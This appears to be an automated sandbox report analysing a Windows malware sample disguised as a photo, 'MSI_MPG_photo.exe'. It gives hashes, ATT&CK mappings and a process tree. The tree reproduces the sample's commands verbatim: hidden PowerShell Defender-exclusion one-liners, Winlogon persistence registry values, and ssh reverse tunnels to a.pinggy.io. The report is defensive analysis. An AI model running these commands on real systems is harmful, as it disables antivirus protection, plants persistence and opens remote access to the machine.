28690481d365fec84ff8be4a2a55e247bf1f3aa8e3f6f3a24fd937c80da67a78

Analysis

user interaction
yes
max time kernel
152s
max time network
162s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 23:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MSI_MPG_photo.exe
Size 113.1MB
Sample261027-24p2dahs6l
SHA256 28690481d365fec84ff8be4a2a55e247bf1f3aa8e3f6f3a24fd937c80da67a78
MD5 048c05567c822677057a08a9f433fa16
SHA1 7839e2d1cb010a10eb790e8685f06074ece064b2
SHA512 014847a183267400075a225464dde0f1ae56a2ea3022d56a02835f1a87501e721f65585c19bdbd1e188f72b5da273b6bea020e0caa89dfc430d96cb6b62333f9
SSDEEP 3145728:wVOg+vqEQlLgaR55oR/E0/kd0xyfPtLQC9Vx91cFDTGmwnETmEMhN:IO1Cn3R0FEP9bVx76DTxGZj
TLSH
T16A4833C1CAD275FBC8BB8975E9058831F5E930A8B743824B2E4873623F176C19735DA9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

command_and_control defense_evasion discovery execution persistence

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker\\RuntimeBroker.exe\" --service-node,"	MSI_MPG_photo.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker\\RuntimeBroker.exe\" --service-node"	MSI_MPG_photo.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker\\RuntimeBroker.exe\" --service-node,"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsApps\\RuntimeBroker\\RuntimeBroker.exe\" --service-node"	RuntimeBroker.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe
5884	powershell.exe
1356	powershell.exe
560	powershell.exe
1300	powershell.exe
1132	powershell.exe
560	powershell.exe
1300	powershell.exe
1132	powershell.exe
1636	powershell.exe
5884	powershell.exe
1356	powershell.exe

Executes a file named after a Windows system binary 1 TTPs 2 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe	RuntimeBroker.exe

Executes dropped EXE 2 IoCs

pid	Process
4696	RuntimeBroker.exe
1112	RuntimeBroker.exe

Loads dropped DLL 64 IoCs

pid	Process
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
928	MSI_MPG_photo.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe

Outbound SSH connection to public host 2 TTPs 1 IoCs

SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

command_and_control

Protocol Tunneling

T1572

Network Service Discovery

T1046

description	flow	ioc	pid	Process
SSH destination	36	35.171.254.69:22	5440	ssh.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2084	cmd.exe
2816	cmd.exe
4488	cmd.exe
996	cmd.exe
2492	cmd.exe
1228	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MSI_MPG_photo.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MSI_MPG_photo.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	RuntimeBroker.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5524	ssh.EXE

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RuntimeBroker.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	RuntimeBroker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor	RuntimeBroker.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings	MSI_MPG_photo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1536	mspaint.exe
1536	mspaint.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
1300	powershell.exe
1300	powershell.exe
1300	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1636	powershell.exe
1636	powershell.exe
1636	powershell.exe
5884	powershell.exe
5884	powershell.exe
5884	powershell.exe
1356	powershell.exe
1356	powershell.exe
1356	powershell.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe
1112	RuntimeBroker.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1112	RuntimeBroker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	928	MSI_MPG_photo.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeIncreaseQuotaPrivilege	560	powershell.exe
Token: SeSecurityPrivilege	560	powershell.exe
Token: SeTakeOwnershipPrivilege	560	powershell.exe
Token: SeLoadDriverPrivilege	560	powershell.exe
Token: SeSystemProfilePrivilege	560	powershell.exe
Token: SeSystemtimePrivilege	560	powershell.exe
Token: SeProfSingleProcessPrivilege	560	powershell.exe
Token: SeIncBasePriorityPrivilege	560	powershell.exe
Token: SeCreatePagefilePrivilege	560	powershell.exe
Token: SeBackupPrivilege	560	powershell.exe
Token: SeRestorePrivilege	560	powershell.exe
Token: SeShutdownPrivilege	560	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeSystemEnvironmentPrivilege	560	powershell.exe
Token: SeRemoteShutdownPrivilege	560	powershell.exe
Token: SeUndockPrivilege	560	powershell.exe
Token: SeManageVolumePrivilege	560	powershell.exe
Token: 33	560	powershell.exe
Token: 34	560	powershell.exe
Token: 35	560	powershell.exe
Token: 36	560	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeIncreaseQuotaPrivilege	1300	powershell.exe
Token: SeSecurityPrivilege	1300	powershell.exe
Token: SeTakeOwnershipPrivilege	1300	powershell.exe
Token: SeLoadDriverPrivilege	1300	powershell.exe
Token: SeSystemProfilePrivilege	1300	powershell.exe
Token: SeSystemtimePrivilege	1300	powershell.exe
Token: SeProfSingleProcessPrivilege	1300	powershell.exe
Token: SeIncBasePriorityPrivilege	1300	powershell.exe
Token: SeCreatePagefilePrivilege	1300	powershell.exe
Token: SeBackupPrivilege	1300	powershell.exe
Token: SeRestorePrivilege	1300	powershell.exe
Token: SeShutdownPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeSystemEnvironmentPrivilege	1300	powershell.exe
Token: SeRemoteShutdownPrivilege	1300	powershell.exe
Token: SeUndockPrivilege	1300	powershell.exe
Token: SeManageVolumePrivilege	1300	powershell.exe
Token: 33	1300	powershell.exe
Token: 34	1300	powershell.exe
Token: 35	1300	powershell.exe
Token: 36	1300	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe
Token: SeRemoteShutdownPrivilege	1132	powershell.exe
Token: SeUndockPrivilege	1132	powershell.exe
Token: SeManageVolumePrivilege	1132	powershell.exe
Token: 33	1132	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1536	mspaint.exe
1536	mspaint.exe
1536	mspaint.exe
1536	mspaint.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 6064 wrote to memory of 928	6064	MSI_MPG_photo.exe	89
PID 928 wrote to memory of 1536	928	MSI_MPG_photo.exe	91
PID 928 wrote to memory of 996	928	MSI_MPG_photo.exe	97
PID 996 wrote to memory of 560	996	cmd.exe	99
PID 928 wrote to memory of 2492	928	MSI_MPG_photo.exe	101
PID 2492 wrote to memory of 1300	2492	cmd.exe	103
PID 928 wrote to memory of 1228	928	MSI_MPG_photo.exe	104
PID 1228 wrote to memory of 1132	1228	cmd.exe	106
PID 928 wrote to memory of 4696	928	MSI_MPG_photo.exe	108
PID 4696 wrote to memory of 1112	4696	RuntimeBroker.exe	109
PID 1112 wrote to memory of 2084	1112	RuntimeBroker.exe	110
PID 2084 wrote to memory of 1636	2084	cmd.exe	112
PID 1112 wrote to memory of 2816	1112	RuntimeBroker.exe	113
PID 2816 wrote to memory of 5884	2816	cmd.exe	115
PID 1112 wrote to memory of 4488	1112	RuntimeBroker.exe	116
PID 4488 wrote to memory of 1356	4488	cmd.exe	118
PID 1112 wrote to memory of 5524	1112	RuntimeBroker.exe	119
PID 1112 wrote to memory of 5440	1112	RuntimeBroker.exe	122

C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe
"C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6064
- C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe
  "C:\Users\Admin\AppData\Local\Temp\MSI_MPG_photo.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\system32\mspaint.exe
    "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\MSI_MPG.jpg"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1132
- - C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe
    C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe --service-node
    3⤵
    - Executes a file named after a Windows system binary
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe
      C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker\RuntimeBroker.exe --service-node
      4⤵
      Modifies WinLogon for persistence
      Executes a file named after a Windows system binary
      Executes dropped EXE
      Loads dropped DLL
      Reads the TCP/IP host and domain name from the registry
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of WriteProcessMemory
      PID:1112
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue""
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2084
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\RuntimeBroker' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1636
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue""
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2816
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\RuntimeBroker' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue""
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4488
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\RuntimeBroker' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1356
    - - C:\Windows\System32\OpenSSH\ssh.EXE
        
        C:\Windows\System32\OpenSSH\ssh.EXE -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=15 -o ConnectTimeout=10 -p 443 -R 0:127.0.0.1:18890 a.pinggy.io
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5524
    - - C:\Windows\System32\OpenSSH\ssh.EXE
        
        C:\Windows\System32\OpenSSH\ssh.EXE -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=15 -o ConnectTimeout=10 -R 80:127.0.0.1:18890 [email protected]
        5⤵
        Outbound SSH connection to public host
        
        PID:5440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Checks SCSI registry key(s)
PID:3536

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004F8
1⤵
PID:5360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Protocol Tunneling

T1572

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MSI_MPG.jpg

Path C:\Users\Admin\AppData\Local\Temp\MSI_MPG.jpg
Size 8.0MB
SHA256 392a7ec5dd93505a772aa5c5ef890f1c82793c5b5ea3c151b351bdfc6843d972
MD5 d2cd1c06976db8c09669b86ea8868713
SHA1 dd63ae7ffed4798c91574f757abeedb53a1fa90f
SHA512 b276d9f57d2d33b6224617640e0b721d7584987d676e9f717da29bb68adc31909128a9fa57eaf0cc91c30581e2e7a03fc26fffe69c2f353cf53435d47671961b
SSDEEP 196608:LnX5mDPYzhIX1z7o9pKoevwhpgM2ncKgy6VnpTNQWeaUEiZMq/3:LX5mzi41CpCvah8cfnpTNrea+CK
TLSH
T1C08633E1366310F2E51A4B7E95C3A27666DDEB7D2A90471B3A0F8B70BB440977E2CC50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_imaging.cp315-win_amd64.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\PIL\_imaging.cp315-win_amd64.pyd
Size 2.5MB
SHA256 c01521704ce6cb263f4dfe468c5d3971ad8529582f0b49504384b86558232d37
MD5 18c73d65295c7c6bc8b68cecf4e6b557
SHA1 6d09e6a77f8fe69e482559df1305c0ae26b46a50
SHA512 a9018369567ec5ceab1f5058c7dddcb78a31ed207aa8e5f45af6426abda605ac15cac0e917ac556f10426d50383bdf219b963a28db368d571e93f4cca170d179
SSDEEP 49152:ZRvgURs0a3dunW9/Fa4ZDxJu9Xsk1WJfWarwZEctDtTyFC:/W3+f4ZDwsoWJNcw
TLSH
T1FCC57C42F591589ADA724034CDAAC626E3B1780D17F186F7B684A7F93A33BD03937385
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_bz2.pyd
Size 84KB
SHA256 a57ad7b6355659277ab3048ecb8878b713305cf7a566cebed90319d333d44941
MD5 747a71de269dfbf8e6303f6a2403b7ec
SHA1 41c8c28e14829745a79d2eb613b3a0d8421e1b02
SHA512 5ea33bdad53da4ca14e8d3ad70aa4b6de75b3278bd818d521342a2653191b20fc842ccf484067b0563bf58298bb57e8807d819be679fc238029845d02a1d92bb
SSDEEP 1536:StY8jD6a6a1ypykL26yaYufzfUcqLtpJG8QSimygIs3VwyrAa9afIEYpR:StZ6na1ypy6fUBtpJxQSimygIs3VpjR
TLSH
T1D5836B52A77416BAF12B917956B04792F731BB521720A3EFF28481543F13FE1AE303A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017b02\_ctypes.pyd
Size 140KB
SHA256 0dab147f138b1c2294727c0c411b1313f798a9d0bf12b827b3c243c4fea628d1
MD5 8af4e0e3f93d4e1aa448999432d36652
SHA1 0c03a028f5b1bc0a67dc7fba2675252564fcba81
